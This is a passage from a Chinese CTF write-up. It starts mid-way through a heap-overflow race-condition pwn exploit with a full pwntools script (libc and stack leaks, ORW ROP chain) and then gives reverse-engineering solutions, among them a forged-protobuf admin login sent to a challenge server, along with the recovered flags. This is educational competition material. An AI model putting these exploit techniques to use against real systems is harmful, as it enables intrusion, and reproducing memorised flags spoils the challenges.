sub_401D90(qword_4041F8 + 1, v10); // 漏洞点:发生堆溢出
}


后台线程 start_routine 关键代码:
if ( dword_404140 == 1 ) {
v1 = dword_4040A0; // 用户在选项1中设置的 appeal target (最大0x78)
usleep(v2); // 睡眠短暂时间
dword_4040A4 = v1; // 篡改 dword_4040A4 的值
// ...
}
分析:
主线程在检查时 dword_4040A4 <= 0x20,检查通过。随后主线程在 sub_401D90(&v11, 1) 处阻塞等待输入。此时后台线程醒来,将 dword_4040A4 篡改为我们在选项 1 设置的 0x78。当我们输入 1 字节解除阻塞后,主线程使用新的值计算大小:0x78 + 15 = 135。
最终程序向 0x30 大小的堆块中写入了 135 字节,造成严重的堆溢出,可覆盖相邻堆块的数据
漏洞利用步骤
堆布局
顺序执行选项 2 和 选项 3
内存中形成相邻布局:[Capsule chunk (0x30)] [Actuator chunk (0x48)]
2. 泄露 Libc 基址
操作: 触发条件竞争,输入 135 字节覆盖相邻的 Actuator 结构体。将 Actuator 的 lane 设为 0(对应 puts),将目标指针参数设为 puts 的 GOT 表地址
然后Pwntools 使用 elf.got['puts'] 获取
执行: 调用选项 6 (Dispatch),程序打印出 puts 的真实内存地址,减去 Libc 中的 puts 偏移,得到 libc_base
3. 泄露栈地址
操作: 再次触发条件竞争覆盖 Actuator,lane 保持 0,目标指针指向 Libc 中的 environ 变量
获取地址方式: Pwntools 使用 libc.sym['environ'] 获取
执行: 调用选项 6,打印出栈地址 stack_leak
4. 劫持栈返回地址 (ROP布置)
操作: main 函数的返回地址大约在 stack_leak - 0x150 的位置。第三次触发条件竞争,将 Actuator 的 lane 设为 1(对应 read 输入),目标指针指向 main 的返回地址
获取地址方式: 结合 pwntools ROP(libc) 自动寻找 ret、pop rdi 等 gadget 生成 ORW 链
执行: 调用选项 6,向被劫持的栈地址写入 Ret Sled(滑板指令,提高命中率) + ORW ROP 链
5. 触发 ROP
选择选项 8 (Exit) 退出主循环,main 函数执行 ret,由于返回地址已被覆盖,控制流滑入 ORW 链,打开并读取 flag 输出到屏幕
exp.py
from pwn import *
import time
BINARY_NAME = './pwn'
LIBC_NAME = './libc.so.6'
context.arch = 'amd64'
context.os = 'linux'
def solve():
elf = ELF(BINARY_NAME, checksec=False)
libc = ELF(LIBC_NAME, checksec=False)
io = remote('nc1.ctfplus.cn', 43799)
def appeal(target):
io.sendlineafter(b"> ", b"1")
io.sendlineafter(b"> ", str(target).encode())
def forge_race(primer, stream=b"", target_val=0x78):
while True:
appeal(target_val)
io.sendlineafter(b"> ", b"2")
io.recvuntil(b"forge primer (1 byte)> ")
time.sleep(0.18)
io.send(primer)
resp = io.recvuntil(b"bytes left)> ")
if b"0x87" in resp or b"135" in resp:
if stream:
io.send(stream)
return True
else:
io.send(b"A" * 47)
io.recvuntil(b"forge committed")
def build_actuator():
io.sendlineafter(b"> ", b"3")
def dispatch():
io.sendlineafter(b"> ", b"6")
appeal(0x20)
io.sendlineafter(b"> ", b"2")
io.sendafter(b"> ", b"A")
io.sendafter(b"> ", b"A" * 47)
build_actuator()
payload = b"A" * 0x2F
payload += p64(0) + p64(0x51)
payload += b"sentinel-9".ljust(16, b'x00')
payload += p64(0)
payload += p64(8)
payload += p64(elf.got['puts'])
payload = payload.ljust(135, b"B")
forge_race(b"X", payload)
io.recvuntil(b"forge committed")
dispatch()
io.recvuntil(b"[dispatch lane 0]n")
puts_leak = u64(io.recvline().strip().ljust(8, b'x00'))
io.recvuntil(b"[dispatch complete]")
libc.address = puts_leak - libc.sym['puts']
environ_ptr = libc.sym['environ']
payload = b"A" * 0x2F
payload += p64(0) + p64(0x51)
payload += b"sentinel-9".ljust(16, b'x00')
payload += p64(0)
payload += p64(8)
payload += p64(environ_ptr)
payload = payload.ljust(135, b"B")
forge_race(b"X", payload)
io.recvuntil(b"forge committed")
dispatch()
io.recvuntil(b"[dispatch lane 0]n")
stack_leak = u64(io.recvline().strip().ljust(8, b'x00'))
io.recvuntil(b"[dispatch complete]")
if stack_leak == 0:
return
guessed_ret_addr = stack_leak - 0x150
flag_str_addr = guessed_ret_addr + 0x150
rop = ROP(libc)
rop.call('open', [flag_str_addr, 0])
rop.call('read', [3, flag_str_addr, 0x100])
rop.call('write', [1, flag_str_addr, 0x100])
ret_gadget = rop.find_gadget(['ret'])[0]
sled = p64(ret_gadget) * 16
rop_payload = sled + rop.chain()
rop_payload = rop_payload.ljust(0x150, b'x00') + b"flagx00"
payload = b"A" * 0x2F
payload += p64(0) + p64(0x51)
payload += b"sentinel-9".ljust(16, b'x00')
payload += p64(1)
payload += p64(len(rop_payload))
payload += p64(guessed_ret_addr)
payload = payload.ljust(135, b"B")
forge_race(b"X", payload)
io.recvuntil(b"forge committed")
io.sendlineafter(b"> ", b"6")
io.recvuntil(b"[dispatch lane 1]n")
io.send(rop_payload)
io.recvuntil(b"[dispatch complete]")
io.sendlineafter(b"> ", b"8")
output = io.recvall(timeout=2).decode(errors='ignore')
print(output)
if __name__ == "__main__":
solve()

polarisctf{cfbdc279-be49-450f-9a2b-8646159cfffb}
Reverse
ez_uds


考点
汽车车联网 UDS 协议(0x27 Security Access 安全访问服务)
密码学/位运算(异或、循环位移)
解题

分析题目提示,可知是 UDS 27服务挑战响应机制。
客户端发送 27 01 请求 Seed,服务端响应 67 01 [4字节Seed]。
提取出 Seed 后,代入题目给定的加密算法计算出 Key。算法主要包含:与常数异或、32位循环左移3位、加上常数并截断至32位。
构造并发送 27 02 [4字节Key] 进行验证。
手动计算解
服务器返回的 67 01 BB B6 CA C9 中,67 01 是 27 01 的正响应头,4 字节 Seed 是 0xBBB6CAC9。
执行计算
代入题目给出的算法,计算过程如下:
一:与常量异或
key = 0xBBB6CAC9 ^ 0xA5A5A5A5
结果:0x1E136F6C
二:32位循环左移 3 位
key = ((0x1E136F6C << 3) | (0x1E136F6C >> 29)) & 0xFFFFFFFF
左移 3 位后:0xF09B7B60
三:加上常量并截断至 32 位
key = (0xF09B7B60 + 0x12345678) & 0xFFFFFFFF
相加结果是 0x102CFD1D8,截断高位后得到最终 Key:0x02CFD1D8
将算出的 Key 拼接到 27 02 服务请求后面即可
答案就是270202CFD1D8

exp
from pwn import *
def calculate_key(seed):
key = seed ^ 0xA5A5A5A5
key = ((key << 3) | (key >> 29)) & 0xFFFFFFFF
key = (key + 0x12345678) & 0xFFFFFFFF
return key
def main():
io = remote('nc1.ctfplus.cn', 16885)
io.recvuntil(b"Input HEX (e.g. 2701 or 270212345678): ")
io.sendline(b"2701")
res = io.recvuntil(b"Input HEX (e.g. 2701 or 270212345678): ").decode(errors='ignore')
clean_res = res.replace(" ", "").replace("r", "").replace("n", "")
idx = clean_res.find("6701")
seed = int(clean_res[idx+4 : idx+12], 16)
key = calculate_key(seed)
io.sendline(f"2702{key:08X}".encode())
io.interactive()
if __name__ == '__main__':
main()

polarisctf{a2d99350-4333-4980-a18e-0e85ff69b4f5}
Illusion


分析 main函数


程序首先校验 flag 格式为 xmctf{...},并限制大括号内的 payload 长度为 18 字节。随后会进入一段疑似 RC4 的加密逻辑。如果在这里随意输入,必然通不过校验,程序走到假分支调用 MessageBoxA 弹窗并退出。
题目名 Illusion (幻觉),main 里的逻辑其实是个陷阱。查看程序入口前的 .CRT 初始化阶段,会发现 sub_140001000 函数被提前执行,它对系统 API 进行了 Hook,将 MessageBoxA 的执行流劫持到了隐藏的 sub_1400010F0 函数。也就是说,在 main 里触发失败弹窗,实际上正是进入真实验证逻辑的入口。
核心加密函数 sub_1400010F0


Padding: 程序先将传入的 18 字节 payload 进行 PKCS#7 填充,补齐到 32 字节。
AES 特征识别: 填充后调用了内部的加密模块,跟进去可以看到明显的 S 盒代换(SubBytes)、行移位和列混淆操作,确认为标准的 AES-128 算法,模式为 ECB。
Key 提取: 密钥硬编码在栈上被动态赋值,提取 0x34123412, 0x34123412, 0x34123412, 0x21534541,按小端序转换为 byte 为 b"x12x34x12x34x12x34x12x34x12x34x12x34AES!"。
密文提取: 函数末尾有一长串逐字节比对,直接提取出 32 字节的真实密文。
无魔改 AES,直接拿提取出的真实密钥和密文,使用标准 AES-128-ECB 解密,截取前 18 字节(丢弃 padding 部分)即可得到明文,拼接 flag 格式输出就行
exp.py
from Crypto.Cipher import AES
key = b"x12x34x12x34x12x34x12x34x12x34x12x34AES!"
enc = bytes([
0xF2, 0x7B, 0x7E, 0x75, 0xB4, 0x5C, 0x08, 0xFA,
0x19, 0x3C, 0x8A, 0x4A, 0x04, 0xF8, 0x1F, 0x67,
0x1B, 0x05, 0x9C, 0xE7, 0x27, 0x40, 0x78, 0x6D,
0x28, 0xF6, 0xA8, 0xB8, 0x06, 0xC6, 0xC5, 0x51
])
cipher = AES.new(key, AES.MODE_ECB)
decrypted = cipher.decrypt(enc)
payload = decrypted[:18].decode('utf-8')
print(f"xmctf{{{payload}}}")

xmctf{R3a1_w0rld_M47ters}
移动的秘密

二进制文件 分析main函数


输入长度获取:通过 scanf("%29s", s) 读取最多 29 位的输入 。
第一层校验(右移 1 位):程序遍历输入,执行 v15[i] = s[i] >> 1,将每个字符右移 1 位 。随后将结果与内存中的两段数据 xmmword_3080 和 xmmword_3090 进行比对 。
第二层校验(MD5 验证):程序接着调用了 sub_1DF0 和 sub_1F60 处理原始输入 。由于初始化向量 xmmword_3060 的值为 1032547698BADCFEEFCDAB8967452301h (即标准的 MD5 常数 0x67452301 等的小端序),可以知道是在计算 MD5。最后将计算出的 MD5 与 xmmword_3070 的值比对 。
双击伪代码中的变量名,跳转到 .rodata`只读数据段提取值:

右移比对值 :
xmmword_3080: 2F192F3236183136323B3D333A31363Ch
xmmword_3090: 3E191918182F391839303637382F192Fh
注意:由于是小端序,在内存中实际是从右往左读,前缀刚好对应 xmctf{ 右移 1 位的值
目标 MD5 值:
xmmword_3070: 0ADD32914868A321CB319007198C0223Ah
按小端序转换为标准 MD5 字符串即为:3a22c098710019b31c328a861429d3ad
逆向与爆破
信息丢失:右移 1 位 (>> 1) 会丢失最低位,所以逆推回去时,每个字节 val 有两种可能:val * 2 或 val * 2 + 1
范围限定:flag 由 xmctf{} 包裹,且内部通常是可见字符(字母、数字、下划线)
MD5 爆破:根据右移比对值生成所有可能的组合,逐一计算 MD5 并与目标值比较,相符的即为真 flag
exp.py
import hashlib
import itertools
import math
target_md5 = "3a22c098710019b31c328a861429d3ad"
shift_vals = [
0x3C, 0x36, 0x31, 0x3A, 0x33, 0x3D,
0x3B, 0x32, 0x36, 0x31, 0x18, 0x36, 0x32,
0x2F, 0x19, 0x2F,
0x38, 0x37, 0x36, 0x30, 0x39, 0x18, 0x39,
0x2F,
0x18, 0x18, 0x19, 0x19,
0x3E
]
options = []
for i, v in enumerate(shift_vals):
if i == 0: options.append(['x'])
elif i == 1: options.append(['m'])
elif i == 2: options.append(['c'])
elif i == 3: options.append(['t'])
elif i == 4: options.append(['f'])
elif i == 5: options.append(['{'])
elif i == 28: options.append(['}'])
else:
chars = [chr(v * 2), chr(v * 2 + 1)]
valid_chars = [c for c in chars if c.isalnum() or c == '_']
options.append(valid_chars)
total_combinations = math.prod(len(opt) for opt in options)
print(f"[*] 爆破,组合总数: {total_combinations} ...")
for p in itertools.product(*options):
candidate = "".join(p)
if hashlib.md5(candidate.encode()).hexdigest() == target_md5:
print(f"[+] 成功碰撞 MD5!")
print(f"[+] 最终 flag 为: {candidate}")
break

xmctf{welc0me_2_polar1s_1022}
ezFinger

根据题目找
sub_8003498 和 sub_8000EC0处对应的函数名是什么?flag格式xmctf{名称1_名称2}


sub_8003498:时钟频率计算
操作 0x40023804/8(STM32 RCC寄存器),根据 HSI/HSE/PLL 状态计算时钟频率
STM32 HAL库标准函数 HAL_RCC_GetSysClockFreq。
sub_8000EC0:引脚电平控制
特征:引脚编号校验(>0x5F),通过 aInMKi 查表映射虚拟引脚为物理 GPIO Port 和 Pin 掩码并输出电平。
stm32duino(Arduino Core for STM32)的标志性函数 digitalWrite。
拼接
xmctf{HAL_RCC_GetSysClockFreq_digitalWrite}
hajimi



逻辑:这是一个由 DeepMind Tracr 编译的 Transformer 模型。分析题目脚本可知,输入被限制为 16 个字符,且只能包含 1, 2, 3, 4,不满足则输出 "Wrong grid."。
核心:16个格子、1-4的数字、名为 "grid",判断这是一个 4x4 四宫数独 (Shi-doku) 的验证模型。
解法:4x4 数独合法解仅有 288 种,无需逆向模型权重,直接生成这 288 种可能组合,批量喂给模型进行黑盒爆破,找出输出不是 "Wrong grid." 的唯一解,计算 SHA256 即可。
环境Git
下载
pip install dm-haiku jax jaxlib zstandard numpy git+https://github.com/google-deepmind/tracr

exp.py
import pickle
import types
import hashlib
import haiku as hk
import jax
import jax.nn
import zstandard as zstd
from tracr.compiler.assemble import AssembledTransformerModel, _make_embedding_modules
from tracr.transformer.model import CompiledTransformerModel, Transformer, TransformerConfig
VALID_DIGITS = set("1234")
def load_model(path: str):
with open(path, "rb") as fp, zstd.ZstdDecompressor().stream_reader(fp) as cfp:
o = types.SimpleNamespace(**pickle.load(cfp))
o.config["activation_function"] = getattr(jax.nn, o.config["activation_function"])
def get_compiled_model():
transformer = Transformer(TransformerConfig(**o.config))
embed_modules = _make_embedding_modules(*o.embed_spaces)
return CompiledTransformerModel(
transformer, embed_modules.token_embed, embed_modules.pos_embed,
embed_modules.unembed, use_unembed_argmax=True,
)
@hk.without_apply_rng
@hk.transform
def forward(emb):
cmodel = get_compiled_model()
return cmodel(emb, use_dropout=False)
return AssembledTransformerModel(
forward=forward.apply, get_compiled_model=None, params=o.params,
model_config=o.config, residual_labels=o.residual_labels,
input_encoder=o.input_encoder, output_encoder=o.output_encoder,
)
def decode_output(output):
out = output.decoded
if "EOS" in out:
out = out[: out.index("EOS")]
return "".join(out[1:])
def generate_4x4_sudoku():
grids = []
def dfs(grid):
if len(grid) == 16:
grids.append("".join(grid))
return
r, c = divmod(len(grid), 4)
for v in "1234":
if v in grid[r*4 : r*4 + c]: continue
if v in grid[c : r*4 + c : 4]: continue
br, bc = (r // 2) * 2, (c // 2) * 2
in_block = False
for i in range(br, r):
for j in range(bc, bc + 2):
if grid[i*4 + j] == v: in_block = True
for j in range(bc, c):
if grid[r*4 + j] == v: in_block = True
if not in_block:
grid.append(v)
dfs(grid)
grid.pop()
dfs([])
return grids
if __name__ == "__main__":
model = load_model("challenge.pkl.zst")
grids = generate_4x4_sudoku()
for grid in grids:
tokens = ["BOS"] + list(grid)
out_str = decode_output(model.apply(tokens))
if "Wrong grid" not in out_str:
flag_hash = hashlib.sha256(grid.encode()).hexdigest()
print(f"xmctf{{{flag_hash}}}")
break

xmctf{b0a0d1edc0fb5b75770a5dcbe7b0d4fb08e42fd281a94ee67b405e36056f1df1}
Hulua


发现主体校验逻辑并未在 C 代码中,而是内嵌了 Lua 解释器。
跟进关键函数 sub_1400014A4,发现程序将 .data 段中的加密 Lua 字节码读取出来并进行循环异或解密。
数据物理偏移:0x31A00
数据大小:1504 字节 (0x5E0)
XOR 密钥:"hulua"
从 EXE 中提取加密数据并异或还原出 .luac 文件
exp
offset = 0x31A00
size = 1504
with open("Hulua.exe", "rb") as f:
f.seek(offset)
encrypted_data = f.read(size)
key = b"hulua"
decrypted_data = bytearray()
for i in range(len(encrypted_data)):
decrypted_data.append(encrypted_data[i] ^ key[i % len(key)])
with open("check_script.luac", "wb") as f:
f.write(decrypted_data)
反汇编 Lua 字节码
尝试使用 unluac 直接反编译 .luac文件,报Condition is not followed by jump` 错误。出题人对 Lua 底层指令做了 Opcode 乱序及控制流混淆。 放弃反编译,直接输出底层汇编指令:

java -jar unluac.jar --disassemble check_script.luac > disasm.txt

看汇编指令


整合
RC4 Key:"78 6D 63 74 66 32 30 32 36" (即 xmctf2026)
密文:8B 8B 77 BE 68 61 86 68 E5 63 EE 84 35 6F 58 C8 51 0F 6E 94 70 E7 26 90 B6 75 EC 28 AF 14 E2 E3
附加常量:.constant k7 102 (102 即 0x66)
分析指令发现 ADD、MOD、BXOR 等操作码被替换成了 div、bor、not。结合 k7 常量还原最终校验公式:
Cipher[i] = Input[i] ^ RC4_KeyStream[i] ^ 102
公式逆向计算 flag
exp.py
key = b"xmctf2026"
cipher_hex = "8B 8B 77 BE 68 61 86 68 E5 63 EE 84 35 6F 58 C8 51 0F 6E 94 70 E7 26 90 B6 75 EC 28 AF 14 E2 E3"
cipher = [int(x, 16) for x in cipher_hex.split()]
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
flag = bytearray()
i = 0
j = 0
for byte in cipher:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
K = S[(S[i] + S[j]) % 256]
flag.append(byte ^ K ^ 102)
print(flag.decode('utf-8'))

xmctf{lu4t1c_r3v3rs3_ch4ll3ng3!}
MixTielele

考点
Android Dex 动态加载 / 隐藏 Dex 分析
JNI 动态注册与 Native 层密码学分析 (AES+RSA)
Protobuf 逆向与数据伪造
自定义 LCG-XOR 流密码还原
Java 层入口分析 (JADX)
载入 APK 至 JADX,定位到 MainActivity com.example.titlele.OO00OO0OOOO000O000。



发现程序在 login() 方法中调用了 OO00OO0OO0000OOOOO.load(this),加载了位于 native 目录下的 libflutter.so。
随后通过反射调用隐藏的 Login("user") 逻辑。
最后将得到的结果传入 Native 层函数 EncTitlele,并将返回的 JSON 提交至服务器。
提取 lib/arm64-v8a/libflutter.so
由于文件异常大且被 PathClassLoader 加载,判断其为隐藏的 Dex/APK 文件。直接将其拖入 JADX。
寻找核心逻辑:定位到 com.example.titlele.OO00OO0OO00O0OO000 类,发现其注册了一个动态代理 OO00OO0OOO00O00O00 拦截 Login 方法。



Protobuf 陷阱:分析 LogInfo 方法,发现使用了 Protobuf 序列化数据:
传入了 user="user"
逻辑陷阱:硬编码了 isHacker=true
自研加密分析:定位到 com.example.utils.Encrypt.enc,发现是一个基于线性同余发生器 (LCG) 的 XOR 流密码:
INITIAL_SEED = 622918
MULTIPLIER = 1664525
INCREMENT = 1013904223
每次取 key 的低 8 位与数据异或,并迭代更新 key。
将真实的 C/C++ 核心库 libmixtitlele.so 载入 IDA。
定位 JNI 接口:导出表未发现 Java_ 开头函数,转至 JNI_OnLoad 分析


发现动态注册。追踪 RegisterNatives 的第三个参数 off_20DCA8

获取到真实的 EncTitlele 函数地址为 sub_D6DF8。
参考sub_D6DF8 函数


逻辑
RAND_bytes 生成 16 字节随机数作为 AES Key。
memset 生成 16 字节 x00 作为 AES IV。
调用 aesEncryptInfo,使用 AES-CBC 加密从 Java 层传来的 Base64 字符串。
调用 rsaEncryptKey 加密随机生成的 AES Key。
组装 JSON:{"a1": "RSA密文", "b2": "AES密文"}。
追踪aesEncryptInfo


提取 RSA 公钥:进入 rsaEncryptKey (_Z13rsaEncryptKeyPKhi),提取出硬编码的 PEM 格式 RSA 公钥。
绕过陷阱与 Payload 构造
通过服务器返回的错误提示(something wrong -> login as admin -> hacker!!!)得知,必须伪造 Protobuf 数据。
目标:将 user 修改为 admin,将 isHacker 修改为 false。
Protobuf 字节码构造:字段1 (Tag 0x0a, 长度 0x05, 数据 admin),字段2 (Tag 0x10, 数据 0x00)。最终字节为 b'x0ax05adminx10x00'。
将构造好的字节按顺序经过 LCG-XOR -> Base64 -> AES -> 组装 RSA -> 发包。
完整exp.py
import os
import json
import base64
import requests
import ctypes
from Crypto.Cipher import AES
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
from Crypto.Util.Padding import pad
RSA_PUB = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAovOZy74DuQ55Nr/mOKRO
qHjcjVF8V2OrRPEAXz6x61z+jgUBZ6aIFLh3S0/6YSO9/OlWIsrkaJlISCPdrLOj
nvSwt6IOiWKVbzcxqyblR8MHbM74Lp7l9T8M9rKqQmjiCFPcbcpyAsABg5Cwgthf
Bo26BIusvptmb+rHXO5kylRHTMbXrBfC5Yagp25M7bCbpg7JqtR4uaaKg9c849+B
rvYq5PHtfDMAbUVSCbXG17/lR/1WENQSbPTAgdtmkUvdcwV14iHYIhuspiXnIa/Z
5Ze/xekUvwYVk09/pU7T0zSVxR+gRUhNPtKZYiZ/w7alSAVjvGooOSc+ps+7KVCk
yQIDAQAB
-----END PUBLIC KEY-----"""
def lcg_xor(data: bytes) -> bytes:
res = bytearray()
curr = ctypes.c_int32(622918)
for b in data:
res.append(b ^ (curr.value & 0xFF))
curr.value = (1664525 * curr.value) + 1013904223
return bytes(res)
def build_payload() -> str:
proto_data = b'x0ax05adminx10x00'
enc_data = lcg_xor(proto_data)
inner_payload = base64.b64encode(enc_data).decode()
aes_key = os.urandom(16)
aes_iv = b'x00' * 16
aes = AES.new(aes_key, AES.MODE_CBC, aes_iv)
b2 = base64.b64encode(aes.encrypt(pad(inner_payload.encode(), 16))).decode()
rsa = PKCS1_v1_5.new(RSA.import_key(RSA_PUB))
a1 = base64.b64encode(rsa.encrypt(aes_key)).decode()
return json.dumps({"a1": a1, "b2": b2})
def pwn():
url = "http://120.48.104.4:2788/24ab99d75d3327cf3c46/login"
headers = {"Content-Type": "application/json"}
try:
req = requests.post(url, data=build_payload(), headers=headers)
print(req.text)
except Exception as e:
pass
if __name__ == '__main__':
pwn()

xmctf{adde035c89b5fb477e43b1ef78c8d890}
总结
题目还行,但是Misc 不像misc misc为什么会有web题目?就很奇怪?好累啊,有点微死,单人赛题量太多了吧 就一个人解,传统派解不动。









